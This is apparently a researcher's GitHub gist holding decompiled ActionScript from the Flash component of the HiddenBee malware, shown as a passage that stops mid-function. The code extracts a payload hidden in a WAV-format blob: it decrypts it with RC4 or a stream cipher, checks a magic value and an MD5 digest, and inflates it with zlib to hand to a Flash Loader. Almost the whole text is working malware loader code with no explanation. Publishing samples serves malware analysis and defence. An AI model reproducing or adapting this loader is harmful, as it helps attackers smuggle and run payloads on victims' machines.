-
-
Save malwarezone/3aea44e1d4c66821f92b1092461fb815 to your computer and use it in GitHub Desktop.
HiddenBee Flash element
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.google | |
{ | |
import avm2.intrinsics.memory.li16; | |
import avm2.intrinsics.memory.li32; | |
import avm2.intrinsics.memory.li8; | |
import avm2.intrinsics.memory.si16; | |
import avm2.intrinsics.memory.si32; | |
import avm2.intrinsics.memory.si8; | |
import com.google_2F_var_2F_folders_2F_z4_2F_jk5tsd613ns8hpppmxkv665m0000gn_2F_T_2F__2F_ccuLOwUs_2E_lto_2E_bc_3A_2210E4FB_2D_444B_2D_45E7_2D_8C96_2D_21DD676A1E5C.*; | |
import flash.display.Loader; | |
import flash.system.ApplicationDomain; | |
import flash.system.LoaderContext; | |
import flash.utils.ByteArray; | |
public function decode(param1:ByteArray, param2:ByteArray, param3:int, param4:Function) : Loader | |
{ | |
var _loc28_:* = undefined; | |
var _loc68_:* = 0; | |
var _loc49_:int = 0; | |
var _loc55_:* = 0; | |
var _loc57_:* = 0; | |
var _loc61_:* = 0; | |
var _loc64_:* = 0; | |
var _loc66_:* = 0; | |
var _loc59_:* = 0; | |
var _loc35_:* = 0; | |
var _loc33_:* = 0; | |
var _loc48_:* = 0; | |
var _loc39_:* = 0; | |
var _loc45_:* = 0; | |
var _loc47_:* = 0; | |
var _loc52_:* = 0; | |
var _loc67_:* = 0; | |
var _loc6_:* = 0; | |
var _loc43_:* = 0; | |
var _loc7_:int = 0; | |
var _loc18_:* = 0; | |
var _loc14_:* = 0; | |
var _loc15_:* = 0; | |
var _loc10_:int = 0; | |
var _loc11_:int = 0; | |
var _loc8_:* = 0; | |
var _loc17_:* = 0; | |
var _loc40_:* = 0; | |
var _loc38_:* = 0; | |
var _loc65_:* = 0; | |
var _loc51_:* = 0; | |
var _loc62_:* = 0; | |
var _loc46_:* = 0; | |
var _loc58_:* = 0; | |
var _loc37_:* = 0; | |
var _loc56_:* = 0; | |
var _loc54_:* = 0; | |
var _loc60_:* = 0; | |
var _loc50_:* = 0; | |
var _loc12_:* = 0; | |
var _loc21_:* = 0; | |
var _loc20_:* = 0; | |
var _loc24_:* = 0; | |
var _loc26_:* = 0; | |
var _loc25_:* = 0; | |
var _loc30_:* = 0; | |
var _loc13_:* = 0; | |
var _loc22_:* = 0; | |
var _loc29_:int = 0; | |
var _loc32_:* = 0; | |
var _loc31_:* = 0; | |
var _loc36_:* = 0; | |
var _loc34_:* = 0; | |
var _loc19_:* = 0; | |
var _loc23_:* = 0; | |
var _loc9_:* = 0; | |
var _loc5_:* = int(ESP); | |
_loc68_ = _loc5_; | |
_loc5_ = int(_loc5_ - 1136); | |
ESP = _loc5_ & -16; | |
param1.position = 0; | |
ESP = _loc5_ & -16; | |
_loc48_ = int(param1.bytesAvailable); | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc48_,_loc5_); | |
ESP = _loc5_; | |
F_malloc(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc49_ = eax; | |
ESP = _loc5_ & -16; | |
CModule.ram.position = 0; | |
ESP = _loc5_ & -16; | |
param1.readBytes(CModule.ram,_loc49_,_loc48_); | |
ESP = _loc5_ & -16; | |
param2.position = 0; | |
ESP = _loc5_ & -16; | |
_loc51_ = int(param2.bytesAvailable); | |
_loc5_ = int(_loc5_ - 16); | |
var _loc53_:* = int(_loc51_ + 4); | |
si32(_loc53_,_loc5_); | |
ESP = _loc5_; | |
F_malloc(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc55_ = int(eax); | |
si32(_loc51_,_loc55_); | |
ESP = _loc5_ & -16; | |
CModule.ram.position = 0; | |
_loc57_ = int(_loc55_ + 4); | |
ESP = _loc5_ & -16; | |
param2.readBytes(CModule.ram,_loc57_,_loc51_); | |
ESP = _loc5_ & -16; | |
_loc59_ = param3; | |
if(uint(_loc48_) >= 77) | |
{ | |
_loc53_ = li8(_loc49_); | |
if(_loc53_ == 82) | |
{ | |
_loc53_ = li8(_loc49_ + 1); | |
if(_loc53_ == 73) | |
{ | |
_loc53_ = li8(_loc49_ + 2); | |
if(_loc53_ == 70) | |
{ | |
_loc53_ = li8(_loc49_ + 3); | |
if(_loc53_ == 70) | |
{ | |
_loc53_ = li32(_loc49_ + 4); | |
_loc53_ = int(_loc53_ + 8); | |
if(uint(_loc53_) <= uint(_loc48_)) | |
{ | |
_loc53_ = li8(_loc49_ + 8); | |
if(_loc53_ == 87) | |
{ | |
_loc53_ = li8(_loc49_ + 10); | |
if(_loc53_ == 86) | |
{ | |
_loc53_ = li8(_loc49_ + 36); | |
if(_loc53_ == 100) | |
{ | |
_loc53_ = li8(_loc49_ + 38); | |
if(_loc53_ == 116) | |
{ | |
_loc61_ = li32(_loc49_ + 40); | |
if(uint(_loc61_) < uint(_loc48_)) | |
{ | |
if(uint(_loc61_) >= 33) | |
{ | |
if(_loc59_ != 1) | |
{ | |
if(_loc59_ == 0) | |
{ | |
_loc64_ = li32(_loc55_); | |
si32(0,_loc68_ - 304); | |
_loc61_ = int(_loc68_ - 304); | |
_loc48_ = _loc61_ | 4; | |
si32(0,_loc48_); | |
_loc66_ = 256; | |
_loc35_ = 0; | |
_loc33_ = _loc66_; | |
do | |
{ | |
_loc53_ = int(_loc61_ - _loc33_); | |
si8(_loc35_,_loc53_ + 264); | |
_loc35_ = int(_loc35_ + 1); | |
_loc33_ = int(_loc33_ + -1); | |
_loc39_ = 0; | |
_loc37_ = 0; | |
} | |
while(_loc33_ != 0); | |
do | |
{ | |
if(uint(_loc39_) >= uint(_loc64_)) | |
{ | |
_loc39_ = 0; | |
} | |
_loc53_ = int(_loc55_ + _loc39_); | |
var _loc42_:* = li8(_loc53_ + 4); | |
_loc53_ = int(_loc61_ - _loc66_); | |
_loc51_ = li8(_loc53_ + 264); | |
var _loc41_:* = int(_loc51_ + _loc37_); | |
_loc41_ = int(_loc41_ + _loc42_); | |
_loc37_ = _loc41_ & 255; | |
_loc41_ = int(_loc61_ + _loc37_); | |
_loc42_ = li8(_loc41_ + 8); | |
si8(_loc42_,_loc53_ + 264); | |
si8(_loc51_,_loc41_ + 8); | |
_loc39_ = int(_loc39_ + 1); | |
_loc66_ = int(_loc66_ + -1); | |
} | |
while(_loc66_ != 0); | |
_loc35_ = li32(_loc48_); | |
_loc64_ = 0; | |
_loc33_ = li32(_loc68_ - 304); | |
do | |
{ | |
_loc53_ = int(_loc61_ + 8); | |
_loc51_ = int(_loc33_ + 1); | |
_loc33_ = _loc51_ & 255; | |
_loc51_ = int(_loc53_ + _loc33_); | |
_loc41_ = li8(_loc51_); | |
_loc42_ = int(_loc41_ + _loc35_); | |
_loc35_ = _loc42_ & 255; | |
var _loc44_:* = int(_loc53_ + _loc35_); | |
_loc42_ = li8(_loc44_); | |
si8(_loc42_,_loc51_); | |
si8(_loc41_,_loc44_); | |
_loc51_ = int(_loc42_ + _loc41_); | |
_loc51_ = _loc51_ & 255; | |
_loc53_ = int(_loc53_ + _loc51_); | |
_loc53_ = li8(_loc53_); | |
_loc51_ = int(_loc49_ - _loc64_); | |
_loc51_ = li8(_loc51_ + 44); | |
_loc53_ = _loc53_ ^ _loc51_; | |
_loc51_ = int(_loc68_ - 40); | |
_loc51_ = int(_loc51_ - _loc64_); | |
si8(_loc53_,_loc51_); | |
_loc64_ = int(_loc64_ + -1); | |
} | |
while(_loc64_ != -32); | |
si32(_loc33_,_loc68_ - 304); | |
si32(_loc35_,_loc48_); | |
} | |
} | |
else | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc57_,_loc5_ + 4); | |
_loc53_ = int(_loc68_ - 440); | |
si32(_loc53_,_loc5_); | |
ESP = _loc5_; | |
F_ECRYPT_keysetup(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc5_ = int(_loc5_ - 16); | |
si32(32,_loc5_ + 12); | |
_loc51_ = int(_loc68_ - 40); | |
si32(_loc51_,_loc5_ + 8); | |
si32(int(_loc49_ + 44),_loc5_ + 4); | |
si32(_loc53_,_loc5_); | |
ESP = _loc5_; | |
F_ECRYPT_process_bytes(); | |
_loc5_ = int(_loc5_ + 16); | |
} | |
_loc53_ = li32(_loc68_ - 40); | |
if(_loc53_ == -889275714) | |
{ | |
_loc53_ = li32(_loc68_ - 32); | |
if(_loc53_ == 32) | |
{ | |
if(_loc59_ != 0) | |
{ | |
if(_loc59_ != 1) | |
{ | |
_loc53_ = int(_loc68_ - 40); | |
_loc53_ = _loc53_ | 4; | |
_loc57_ = li32(_loc53_); | |
} | |
else | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc57_,_loc5_ + 4); | |
_loc53_ = int(_loc68_ - 1072); | |
si32(_loc53_,_loc5_); | |
ESP = _loc5_; | |
F_ECRYPT_keysetup(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc51_ = int(_loc68_ - 40); | |
_loc51_ = _loc51_ | 4; | |
_loc57_ = li32(_loc51_); | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc57_,_loc5_ + 12); | |
_loc51_ = int(_loc49_ + 76); | |
si32(_loc51_,_loc5_ + 8); | |
si32(_loc51_,_loc5_ + 4); | |
si32(_loc53_,_loc5_); | |
ESP = _loc5_; | |
F_ECRYPT_process_bytes(); | |
_loc5_ = int(_loc5_ + 16); | |
} | |
} | |
else | |
{ | |
_loc66_ = li32(_loc55_); | |
si32(0,_loc68_ - 936); | |
_loc59_ = int(_loc68_ - 936); | |
_loc61_ = _loc59_ | 4; | |
si32(0,_loc61_); | |
_loc64_ = 256; | |
_loc57_ = 0; | |
_loc48_ = _loc64_; | |
do | |
{ | |
_loc53_ = int(_loc59_ - _loc48_); | |
si8(_loc57_,_loc53_ + 264); | |
_loc57_ = int(_loc57_ + 1); | |
_loc48_ = int(_loc48_ + -1); | |
_loc33_ = 0; | |
_loc35_ = 0; | |
} | |
while(_loc48_ != 0); | |
do | |
{ | |
if(uint(_loc33_) >= uint(_loc66_)) | |
{ | |
_loc33_ = 0; | |
} | |
_loc53_ = int(_loc55_ + _loc33_); | |
_loc42_ = li8(_loc53_ + 4); | |
_loc51_ = int(_loc59_ - _loc64_); | |
_loc53_ = li8(_loc51_ + 264); | |
_loc41_ = int(_loc53_ + _loc35_); | |
_loc41_ = int(_loc41_ + _loc42_); | |
_loc35_ = _loc41_ & 255; | |
_loc42_ = int(_loc59_ + _loc35_); | |
_loc41_ = li8(_loc42_ + 8); | |
si8(_loc41_,_loc51_ + 264); | |
si8(_loc53_,_loc42_ + 8); | |
_loc33_ = int(_loc33_ + 1); | |
_loc64_ = int(_loc64_ + -1); | |
} | |
while(_loc64_ != 0); | |
_loc48_ = li32(_loc61_); | |
_loc53_ = int(_loc68_ - 40); | |
_loc53_ = _loc53_ | 4; | |
_loc57_ = li32(_loc53_); | |
_loc55_ = li32(_loc68_ - 936); | |
if(_loc57_ != 0) | |
{ | |
_loc35_ = int(_loc49_ + 76); | |
_loc64_ = _loc57_; | |
do | |
{ | |
_loc53_ = int(_loc59_ + 8); | |
_loc51_ = int(_loc55_ + 1); | |
_loc55_ = _loc51_ & 255; | |
_loc41_ = int(_loc53_ + _loc55_); | |
_loc51_ = li8(_loc41_); | |
_loc42_ = int(_loc51_ + _loc48_); | |
_loc48_ = _loc42_ & 255; | |
_loc42_ = int(_loc53_ + _loc48_); | |
_loc44_ = li8(_loc42_); | |
si8(_loc44_,_loc41_); | |
si8(_loc51_,_loc42_); | |
_loc51_ = int(_loc44_ + _loc51_); | |
_loc51_ = _loc51_ & 255; | |
_loc53_ = int(_loc53_ + _loc51_); | |
_loc51_ = li8(_loc53_); | |
_loc53_ = li8(_loc35_); | |
_loc53_ = _loc51_ ^ _loc53_; | |
si8(_loc53_,_loc35_); | |
_loc35_ = int(_loc35_ + 1); | |
_loc64_ = int(_loc64_ + -1); | |
} | |
while(_loc64_ != 0); | |
} | |
si32(_loc55_,_loc68_ - 936); | |
si32(_loc48_,_loc61_); | |
} | |
_loc59_ = 0; | |
si32(_loc59_,_loc68_ - 656); | |
_loc51_ = int(_loc68_ - 656); | |
_loc53_ = _loc51_ | 4; | |
si32(_loc59_,_loc53_); | |
si32(1732584193,_loc68_ - 648); | |
si32(-271733879,_loc68_ - 644); | |
si32(-1732584194,_loc68_ - 640); | |
si32(271733878,_loc68_ - 636); | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc57_,_loc5_ + 8); | |
_loc43_ = int(_loc49_ + 76); | |
si32(_loc43_,_loc5_ + 4); | |
si32(_loc51_,_loc5_); | |
ESP = _loc5_; | |
F_md5_update(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc5_ = int(_loc5_ - 16); | |
_loc55_ = int(_loc68_ - 672); | |
si32(_loc55_,_loc5_ + 4); | |
si32(_loc51_,_loc5_); | |
ESP = _loc5_; | |
F_md5_finish(); | |
_loc5_ = int(_loc5_ + 16); | |
while(true) | |
{ | |
_loc53_ = int(_loc68_ - 40); | |
_loc53_ = int(_loc53_ - _loc59_); | |
_loc53_ = li8(_loc53_ + 16); | |
_loc51_ = int(_loc55_ - _loc59_); | |
_loc51_ = li8(_loc51_); | |
if(_loc51_ == _loc53_) | |
{ | |
_loc59_ = int(_loc59_ + -1); | |
if(_loc59_ == -16) | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
si32(56,_loc5_ + 8); | |
si32(0,_loc5_ + 4); | |
_loc61_ = int(_loc68_ - 1128); | |
si32(_loc61_,_loc5_); | |
ESP = _loc5_; | |
Fmemset(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc59_ = li32(_loc68_ - 28); | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc59_,_loc5_); | |
ESP = _loc5_; | |
F_malloc(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc55_ = int(eax); | |
si32(0,_loc68_ - 1104); | |
_loc64_ = li32(_loc68_ - 1096); | |
if(_loc64_ == 0) | |
{ | |
_loc64_ = int(_zcalloc); | |
si32(_loc64_,_loc68_ - 1096); | |
si32(0,_loc68_ - 1088); | |
} | |
_loc48_ = li32(_loc68_ - 1092); | |
if(_loc48_ == 0) | |
{ | |
_loc48_ = int(_zcfree); | |
si32(_loc48_,_loc68_ - 1092); | |
} | |
_loc5_ = int(_loc5_ - 16); | |
si32(7116,_loc5_ + 8); | |
si32(1,_loc5_ + 4); | |
si32(0,_loc5_); | |
ESP = _loc5_; | |
ptr2fun[_loc64_](); | |
_loc5_ = int(_loc5_ + 16); | |
_loc64_ = int(eax); | |
if(_loc64_ != 0) | |
{ | |
si32(_loc64_,_loc68_ - 1100); | |
si32(0,_loc64_ + 52); | |
_loc35_ = li32(_loc68_ - 1100); | |
if(_loc35_ != 0) | |
{ | |
_loc33_ = li32(_loc35_ + 52); | |
if(_loc33_ != 0) | |
{ | |
_loc53_ = li32(_loc35_ + 36); | |
if(_loc53_ != 15) | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
si32(_loc33_,_loc5_ + 4); | |
si32(0,_loc5_); | |
ESP = _loc5_; | |
ptr2fun[_loc48_](); | |
_loc5_ = int(_loc5_ + 16); | |
si32(0,_loc35_ + 52); | |
} | |
} | |
si32(2,_loc35_ + 8); | |
si32(15,_loc35_ + 36); | |
_loc35_ = li32(_loc68_ - 1100); | |
if(_loc35_ != 0) | |
{ | |
si32(0,_loc35_ + 28); | |
si32(0,_loc68_ - 1108); | |
si32(0,_loc68_ - 1120); | |
si32(0,_loc68_ - 1104); | |
si32(1,_loc68_ - 1080); | |
si32(0,_loc35_); | |
si32(0,_loc35_ + 4); | |
si32(0,_loc35_ + 12); | |
si32(32768,_loc35_ + 20); | |
si32(0,_loc35_ + 32); | |
si32(0,_loc35_ + 40); | |
si32(0,_loc35_ + 44); | |
si32(0,_loc35_ + 48); | |
si32(0,_loc35_ + 56); | |
si32(0,_loc35_ + 60); | |
_loc53_ = int(_loc35_ + 1328); | |
si32(_loc53_,_loc35_ + 108); | |
si32(_loc53_,_loc35_ + 80); | |
si32(_loc53_,_loc35_ + 76); | |
si32(1,_loc35_ + 7104); | |
si32(-1,_loc35_ + 7108); | |
si32(_loc43_,_loc68_ - 1128); | |
_loc35_ = _loc61_ | 4; | |
si32(_loc57_,_loc35_); | |
si32(_loc55_,_loc68_ - 1116); | |
si32(_loc59_,_loc68_ - 1112); | |
_loc48_ = li32(_loc68_ - 1100); | |
if(_loc48_ != 0) | |
{ | |
_loc64_ = -2; | |
if(_loc55_ != 0) | |
{ | |
if(_loc43_ == 0) | |
{ | |
_loc64_ = -2; | |
if(_loc57_ == 0) | |
{ | |
} | |
} | |
_loc46_ = li32(_loc48_); | |
if(_loc46_ == 11) | |
{ | |
_loc46_ = 12; | |
si32(_loc46_,_loc48_); | |
} | |
_loc45_ = int(_loc48_ + 112); | |
_loc47_ = int(_loc48_ + 752); | |
_loc33_ = int(_loc48_ + 108); | |
_loc66_ = int(_loc48_ + 1328); | |
_loc37_ = int(_loc48_ + 88); | |
_loc39_ = int(_loc48_ + 84); | |
_loc52_ = li32(_loc48_ + 60); | |
_loc50_ = li32(_loc48_ + 56); | |
_loc64_ = _loc59_; | |
_loc56_ = _loc59_; | |
_loc54_ = _loc57_; | |
_loc60_ = _loc55_; | |
_loc61_ = 0; | |
loop7: | |
while(true) | |
{ | |
if(_loc46_ <= 15) | |
{ | |
if(_loc46_ <= 6) | |
{ | |
if(_loc46_ <= 2) | |
{ | |
if(_loc46_ != 0) | |
{ | |
if(_loc46_ != 1) | |
{ | |
if(_loc46_ != 2) | |
{ | |
addr9328: | |
_loc64_ = -2; | |
} | |
else | |
{ | |
addr2552: | |
while(true) | |
{ | |
if(uint(_loc52_) >= 32) | |
{ | |
_loc52_ = li32(_loc48_ + 32); | |
if(_loc52_ != 0) | |
{ | |
si32(_loc50_,_loc52_ + 4); | |
} | |
_loc53_ = li8(_loc48_ + 17); | |
_loc53_ = _loc53_ & 2; | |
if(_loc53_ != 0) | |
{ | |
si8(_loc50_,_loc68_ - 4); | |
_loc53_ = int(_loc50_ >>> 8); | |
si8(_loc53_,_loc68_ - 3); | |
_loc53_ = int(_loc50_ >>> 16); | |
si8(_loc53_,_loc68_ - 2); | |
_loc53_ = int(_loc50_ >>> 24); | |
si8(_loc53_,_loc68_ - 1); | |
_loc5_ = int(_loc5_ - 16); | |
si32(4,_loc5_ + 8); | |
_loc51_ = int(_loc68_ - 4); | |
si32(_loc51_,_loc5_ + 4); | |
si32(li32(_loc48_ + 24),_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
} | |
si32(3,_loc48_); | |
_loc52_ = 0; | |
_loc50_ = _loc52_; | |
addr2708: | |
while(true) | |
{ | |
if(uint(_loc52_) >= 16) | |
{ | |
_loc52_ = li32(_loc48_ + 32); | |
if(_loc52_ != 0) | |
{ | |
_loc53_ = _loc50_ & 255; | |
si32(_loc53_,_loc52_ + 8); | |
si32(int(_loc50_ >>> 8),li32(_loc48_ + 32) + 12); | |
} | |
_loc53_ = li8(_loc48_ + 17); | |
_loc53_ = _loc53_ & 2; | |
if(_loc53_ != 0) | |
{ | |
si8(_loc50_,_loc68_ - 4); | |
_loc53_ = int(_loc50_ >>> 8); | |
si8(_loc53_,_loc68_ - 3); | |
_loc5_ = int(_loc5_ - 16); | |
si32(2,_loc5_ + 8); | |
_loc51_ = int(_loc68_ - 4); | |
si32(_loc51_,_loc5_ + 4); | |
si32(li32(_loc48_ + 24),_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
} | |
si32(4,_loc48_); | |
_loc52_ = 0; | |
_loc50_ = _loc52_; | |
addr2825: | |
_loc58_ = li32(_loc48_ + 16); | |
_loc53_ = _loc58_ & 1024; | |
if(_loc53_ != 0) | |
{ | |
while(true) | |
{ | |
if(uint(_loc52_) >= 16) | |
{ | |
si32(_loc50_,_loc48_ + 64); | |
_loc52_ = li32(_loc48_ + 32); | |
if(_loc52_ != 0) | |
{ | |
si32(_loc50_,_loc52_ + 20); | |
_loc58_ = li32(_loc48_ + 16); | |
} | |
_loc53_ = _loc58_ & 512; | |
_loc52_ = 0; | |
_loc58_ = _loc52_; | |
if(_loc53_ != 0) | |
{ | |
si8(_loc50_,_loc68_ - 4); | |
_loc53_ = int(_loc50_ >>> 8); | |
si8(_loc53_,_loc68_ - 3); | |
_loc5_ = int(_loc5_ - 16); | |
si32(2,_loc5_ + 8); | |
_loc51_ = int(_loc68_ - 4); | |
si32(_loc51_,_loc5_ + 4); | |
si32(li32(_loc48_ + 24),_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
_loc52_ = 0; | |
_loc58_ = _loc52_; | |
} | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
} | |
} | |
else | |
{ | |
_loc65_ = li32(_loc48_ + 32); | |
_loc58_ = _loc50_; | |
if(_loc65_ != 0) | |
{ | |
si32(0,_loc65_ + 16); | |
_loc58_ = _loc50_; | |
} | |
} | |
si32(5,_loc48_); | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
} | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
} | |
} | |
} | |
else | |
{ | |
while(true) | |
{ | |
if(uint(_loc52_) >= 16) | |
{ | |
si32(_loc50_,_loc48_ + 16); | |
_loc53_ = _loc50_ & 255; | |
if(_loc53_ != 8) | |
{ | |
si32(29,_loc48_); | |
continue loop7; | |
} | |
_loc53_ = _loc50_ & 57344; | |
if(_loc53_ != 0) | |
{ | |
si32(29,_loc48_); | |
continue loop7; | |
} | |
_loc52_ = li32(_loc48_ + 32); | |
_loc65_ = _loc50_; | |
if(_loc52_ != 0) | |
{ | |
_loc53_ = int(_loc50_ >>> 8); | |
_loc53_ = _loc53_ & 1; | |
si32(_loc53_,_loc52_); | |
_loc65_ = li32(_loc48_ + 16); | |
} | |
_loc53_ = _loc65_ & 512; | |
if(_loc53_ != 0) | |
{ | |
si8(_loc50_,_loc68_ - 4); | |
_loc53_ = int(_loc50_ >>> 8); | |
si8(_loc53_,_loc68_ - 3); | |
_loc5_ = int(_loc5_ - 16); | |
si32(2,_loc5_ + 8); | |
_loc51_ = int(_loc68_ - 4); | |
si32(_loc51_,_loc5_ + 4); | |
si32(li32(_loc48_ + 24),_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
} | |
si32(2,_loc48_); | |
_loc52_ = 0; | |
_loc50_ = _loc52_; | |
§§goto(addr2552); | |
} | |
else | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
} | |
} | |
} | |
else | |
{ | |
_loc58_ = li32(_loc48_ + 8); | |
if(_loc58_ == 0) | |
{ | |
si32(12,_loc48_); | |
} | |
else | |
{ | |
while(uint(_loc52_) < 16) | |
{ | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
_loc53_ = li8(_loc43_); | |
_loc53_ = _loc53_ << _loc52_; | |
_loc50_ = int(_loc53_ + _loc50_); | |
_loc52_ = int(_loc52_ + 8); | |
_loc54_ = int(_loc54_ + -1); | |
_loc43_ = int(_loc43_ + 1); | |
continue; | |
} | |
} | |
_loc53_ = _loc58_ & 2; | |
if(_loc53_ != 0) | |
{ | |
if(_loc50_ == 35615) | |
{ | |
_loc5_ = int(_loc5_ - 16); | |
_loc52_ = 0; | |
si32(_loc52_,_loc5_ + 8); | |
si32(_loc52_,_loc5_ + 4); | |
si32(_loc52_,_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
si8(_loc50_,_loc68_ - 4); | |
_loc53_ = int(_loc50_ >>> 8); | |
si8(_loc53_,_loc68_ - 3); | |
_loc5_ = int(_loc5_ - 16); | |
si32(2,_loc5_ + 8); | |
_loc53_ = int(_loc68_ - 4); | |
si32(_loc53_,_loc5_ + 4); | |
si32(li32(_loc48_ + 24),_loc5_); | |
ESP = _loc5_; | |
F_crc32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
si32(1,_loc48_); | |
_loc50_ = _loc52_; | |
continue; | |
} | |
} | |
si32(0,_loc48_ + 16); | |
_loc65_ = li32(_loc48_ + 32); | |
if(_loc65_ != 0) | |
{ | |
si32(-1,_loc65_ + 48); | |
_loc58_ = li32(_loc48_ + 8); | |
} | |
_loc53_ = _loc58_ & 1; | |
if(_loc53_ != 0) | |
{ | |
_loc51_ = _loc50_ << 8; | |
_loc51_ = _loc51_ & 65280; | |
_loc53_ = int(_loc51_ + (int(_loc50_ >>> 8))); | |
_loc53_ = int(uint(_loc53_) % 31); | |
if(_loc53_ == 0) | |
{ | |
_loc53_ = _loc50_ & 15; | |
if(_loc53_ != 8) | |
{ | |
si32(29,_loc48_); | |
} | |
else | |
{ | |
_loc65_ = li32(_loc48_ + 36); | |
_loc46_ = int(_loc50_ >>> 4); | |
_loc53_ = _loc46_ & 15; | |
_loc58_ = int(_loc53_ + 8); | |
if(_loc65_ == 0) | |
{ | |
si32(_loc58_,_loc48_ + 36); | |
} | |
else if(uint(_loc65_) < uint(_loc58_)) | |
{ | |
_loc52_ = int(_loc52_ + -4); | |
si32(29,_loc48_); | |
_loc50_ = _loc46_; | |
continue; | |
} | |
_loc53_ = 1 << _loc58_; | |
si32(_loc53_,_loc48_ + 20); | |
_loc5_ = int(_loc5_ - 16); | |
_loc52_ = 0; | |
si32(_loc52_,_loc5_ + 8); | |
si32(_loc52_,_loc5_ + 4); | |
si32(_loc52_,_loc5_); | |
ESP = _loc5_; | |
F_adler32(); | |
_loc5_ = int(_loc5_ + 16); | |
_loc53_ = int(eax); | |
si32(_loc53_,_loc48_ + 24); | |
si32(_loc53_,_loc68_ - 1080); | |
_loc53_ = int(_loc50_ >>> 12); | |
_loc53_ = _loc53_ & 2; | |
_loc53_ = _loc53_ ^ 11; | |
si32(_loc53_,_loc48_); | |
_loc50_ = _loc52_; | |
} | |
continue; | |
} | |
} | |
si32(29,_loc48_); | |
} | |
continue; | |
} | |
} | |
else if(_loc46_ <= 4) | |
{ | |
if(_loc46_ != 3) | |
{ | |
if(_loc46_ != 4) | |
{ | |
§§goto(addr9328); | |
} | |
else | |
{ | |
§§goto(addr2825); | |
} | |
} | |
else | |
{ | |
§§goto(addr2708); | |
} | |
} | |
else | |
{ | |
_loc58_ = _loc50_; | |
if(_loc46_ != 5) | |
{ | |
if(_loc46_ != 6) | |
{ | |
§§goto(addr9328); | |
} | |
else | |
{ | |
_loc46_ = li32(_loc48_ + 16); | |
} | |
} | |
addr3219: | |
_loc53_ = _loc46_ & 2048; | |
if(_loc53_ != 0) | |
{ | |
_loc58_ = 1; | |
_loc65_ = 0; | |
if(_loc54_ != 0) | |
{ | |
while(true) | |
{ | |
_loc65_ = _loc58_; | |
_loc53_ = int(_loc43_ + _loc65_); | |
_loc46_ = li8(_loc53_ - 1); | |
_loc67_ = li32(_loc48_ + 32); | |
if(_loc67_ != 0) | |
{ | |
_loc62_ = li32(_loc67_ + 28); | |
if(_loc62_ != 0) | |
{ | |
_loc58_ = li32(_loc48_ + 64); | |
if(uint(_loc58_) < uint(li32(_loc67_ + 32))) | |
{ | |
si8(_loc46_,int(_loc62_ + _loc58_)); | |
_loc53_ = int(_loc58_ + 1); | |
si32(_loc53_,_loc48_ + 64); | |
} | |
} | |
} | |
_loc58_ = int(_loc65_ + 1); | |
_loc62_ = _loc46_ & 255; | |
if(_loc62_ != 0) | |
{ | |
if(uint(_loc65_) >= uint(_loc54_)) | |
{ | |
break; | |
} | |
continue; | |
} | |
break; | |
} | |
_loc53_ = li8(_loc48_ + 17); | |
_loc53_ = _loc53_ & 2; | |
if(_loc53_ != 0) | |
{ | |
_loc53_ = li32(_loc48_ + 24); | |
_loc5_ = int(_loc5_ - 16); | |
si32(int(_loc58_ + -1),_loc5_ + 8); | |
si32(_loc43_,_loc5_ + 4); | |
si32(_loc53_,_loc5_); | |
